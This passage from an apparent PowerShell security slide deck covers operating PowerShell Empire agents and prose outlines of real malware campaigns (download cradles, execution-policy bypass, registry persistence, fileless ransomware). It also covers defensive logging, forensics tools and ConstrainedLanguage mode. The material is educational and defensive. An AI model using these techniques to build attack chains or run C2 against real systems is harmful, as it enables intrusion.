Import the PowerEmpire module and make a connection to the Empire server. Get a list of available agents. Get a information on the voicetroll trollsploit module. Execute the trollsploit module on an agent. If you exclude the –Name flag, it will be run on all agents.

74 PowerShell Empire Web Interference Security - Another web interface to access Empire via the REST API. This is primarily written in PHP

75 PowerShell Malware Image:

76 PowerWorm Email Campaign Infected MS Word/Excel w/ VBA
VBA Executes PowerShell DNS TXT Records w/ URLs Download Tor/Polipo Downloads Additional PowerShell Script Establish C2 Infects other MS Word/Excel Documents Modify Registry to Weaken MS Office Security Finds All .doc,.docx,.xls,.xlsx Embeds VBA Persists in Registry w/ Base64 Encoded Payload Found by Trend Micro Matt Graeber did an excellent write up Image:

77 McAfee Labs – Malicious .lnk
Marc Rivero Lopez - campaign w/ attached .rar file .rar file contained a .lnk file Bypass Execution Policy Opens hidden window Uses IEX download cradle to get new file Saves file to Temp Executes the file with cmd.exe Sandbox Bypass Ref: The sandbox did not have PowerShell, so the .lnk could not download the malware. The .lnk failed when the sandbox tried to run it. The sandbox did not support .lnk files.

78 Palo Alto - Powersniff Email Campaign Documents w/ Malicious Macros
Injects Malware into Memory WMI Executes PowerShell Bypass ExecutionPolicy Opens Hidden Window Download .ps1 w/ Shellcode Decrypts & Executes payload Performs Recon HTTP GET to C2 Downloads Encrypted .dll Executed w/ rundll32.exe Ref:

79 POWELIKS Hides in Windows Registry Downloads PowerShell if not Present
Ref: Image: Hides in Windows Registry Downloads PowerShell if not Present Execute Encoded Script Executes Malware .dll Creates Null Autostart Entry Stores Encoded .dll in Registry .dll Injected into DLLHOST.EXE

80 Carbon Black - PowerWare
FAREIT Campaign PDF Document PDF’s OpenAction Event PowerWare: Image: Fileless Ransomware Spread via Spam w/ Attachment VBA Macro Run PowerShell via cmd.exe Download PowerShell Script PowerShell Encrypts Files

81 Incident Response & Defense
Image:

82 Kansa Modular Incident Response Framework
Dave Hull - Modular Incident Response Framework PSRemoting for Data Collection Analysis Modules Remediation Steps Search for Breach Build Environmental Baseline Modules.conf Integration with Loki scanner - Ref:

83 Kansa - Modules Config Get-AMHealthStatus.ps1
Get-AMInfectionStatus.ps1 Get-CertStore.ps1 Get-ClrVersion.ps1 Get-GPResult.ps1 Get-Hotfix.ps1 Get-IIS.ps1 Get-LocalAdmins.ps1 Get-PSDotNetVersion.ps1 Get-Products.ps1 Get-SharePermissions.ps1 Get-SmbShare.ps1 ASEP Get-Autorunsc.ps1 Get-AutorunscDeep.ps1 Get-PSProfiles.ps1 Get-SigCheckRandomPath.ps1 Get-SigCheck.ps Get-SvcAll.ps1 Get-SvcFail.ps1 Get-SvcTrigs.ps1 Get-WMIEvtConsumer.ps1 Get-WMIEvtFilter.ps1 Get-WMIFltConBind.ps1

84 PowerForensics Boot Sector Get-ForensicsMasterBootRecord
Jared Atkinson - Boot Sector Get-ForensicsMasterBootRecord Get-ForensicGuidPartitionTable Get-ForensicBootSector Get-ForensicPartitionTable NTFS Get-ForensicAttrDef Get-ForensicBitmap Get-ForensicFileRecord Get-ForensicUsnJrnl Get-ForensicVolumeBootRecord Get-ForensicVolumeInformation Get-ForensicUnallocatedSpace Windows Artifacts Get-AlternateDataStream Get-ForensicEventLog Get-ForensicOfficeFileMru Get-ForensicRunKey Get-ForensicTypedUrl Windows Registry Get-ForensicRegistryKey Get-ForensicRegistryValue Utilities ConvertFrom-BinaryData Copy-ForensicFile Get-ForensicChildItem Invoke-ForensicDD PowerForensics is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system.

85 PowerShellArsenal Disassembly(2): Disassemble native and managed code.
Matt Graeber - Disassembly(2): Disassemble native and managed code. Get-CSDisassembly Disassembles a byte array using the Capstone Engine disassembly framework. MalwareAnalysis(10): Useful tools when performing malware analysis. New-FunctionDelegate Provides an executable wrapper for an X86 or X86_64 function. Invoke-LoadLibrary Loads a DLL into the current PowerShell process. New-DllExportFunction Creates an executable wrapper delegate around an unmanaged, exported function. Get-AssemblyStrings Output all strings from a .NET executable. Get-AssemblyResources Extract managed resources from a .NET assembly MemoryTools(4): Inspect and analyze process memory Get-ProcessStrings Outputs all printable strings from the user-mode memory of a process. Get-VirtualMemoryInfo A wrapper for kernel32!VirtualQueryEx Get-ProcessMemoryInfo Retrieve virtual memory information for every unique set of pages in user memory. A PowerShell Module Dedicated to Reverse Engineering. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

86 PowerShellArsenal Functions Parsers(4): Parse file formats and in-memory structures. Get-PE An on-disk and in-memory PE parser and process dumper. Find-ProcessPEs Finds portable executables in memory regardless of whether or not they were loaded in a legitimate fashion. Misc(4): Miscellaneous helper functions Get-Member A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members ConvertTo-String Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions. Get-Entropy Calculates the entropy of a file or byte array. WindowsInternals(6): Obtain and analyze low-level Windows OS information. Get-PEB Returns the process environment block (PEB) of a process. Register-ProcessModuleTrace Starts a trace of loaded process modules Get-ProcessModuleTrace Displays the process modules that have been loaded since the call to Register ProcessModuleTrace A PowerShell Module Dedicated to Reverse Engineering. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

87 Defense – Windows Logging
PowerShell v5 Enhanced Logging Local Group Policy Administrative Templates Windows Components Windows PowerShell Module Logging (PSv3) Script Block Logging EncodedCommand XOR, Base64, ROT13 Script Execution Transcription .NET 4.5 Windows Management Framework (WMF) 4.0 (Windows 7/2008 only) Windows Management Framework (WMF) 5.0 Module logging records pipeline execution details as PowerShell executes, including variable initialization and command invocations. Module logging events are written to Event ID (EID) 4103. Script block logging records blocks of code as they are executed by the PowerShell engine, thereby capturing the full contents of code executed by an attacker, including scripts and commands. Script block logging events are recorded in EID 4104.  Transcription creates a unique record of every PowerShell session, including all input and output, exactly as it appears in the session. Transcripts are written to text files, broken out by user and session. Transcripts also contain timestamps and metadata for each command in order to aid analysis. However, transcription records only what appears in the PowerShell terminal, which will not include the contents of executed scripts or output written to other destinations such as the file system.

88 Payload Encoding Converting an IEX download cradle to BASE64 string. Executing the BASE64 encoded string in the second image.

89 PowerShell Event Log This shows that windows log stores the decoded version of the previously executed BASE64 string.

90 PowerShell Language Modes
FullLanguage ConstrainedLanguage ! Direct .Net Scripting ! Win32 API via Add-Type ! Interaction with COM objects RestrictedLanguage NoLanguage Environment Variable [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘) GPO Computer Configuration\Preferences\Windows Settings\Environment AppLocker “Allow Mode” Policy PowerShell v5 The FullLanguage language mode permits all language elements in the session. FullLanguage is the default language mode for default sessions on all versions of Windows except for Windows RT. In RestrictedLanguage language mode, users may run commands (cmdlets, functions, CIM commands, and workflows) but are not permitted to use script blocks. In NoLanguage language mode, users may run commands, but they cannot use any language elements. The ConstrainedLanguage language mode permits all Windows cmdlets and all Windows PowerShell language elements, but it limits permitted types.

91 Checking the current language mode and subsequently changing it to ConstrainedLanguage mode via environment variable. The second image show the system using the ConstrainedLanguage. Notice that using the IEX download cradle failed

92 Additional Resources Blogs, Papers, and Videos SOME of the additional resources. Most slides include reference information for the gathered content.

93 Windows Management Instrumentation (WMI)
Bonus Points WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS FireEye WhyMI so Sexy? WMI Attacks, Real-Time Defense, and Advanced Forensic Analysis SprayWMI - a method for mass spraying unicorn powershell injection to CIDR notations. TrustedSec For extra credit, take a look at WMI. It is gaining steam as method for penetration testers and malware to execute commands on a host remotely. It can also be used to establish persistence.

94 Conclusion Image:


Download ppt "PowerShell for Cyber Warriors"

Similar presentations


Ads by Google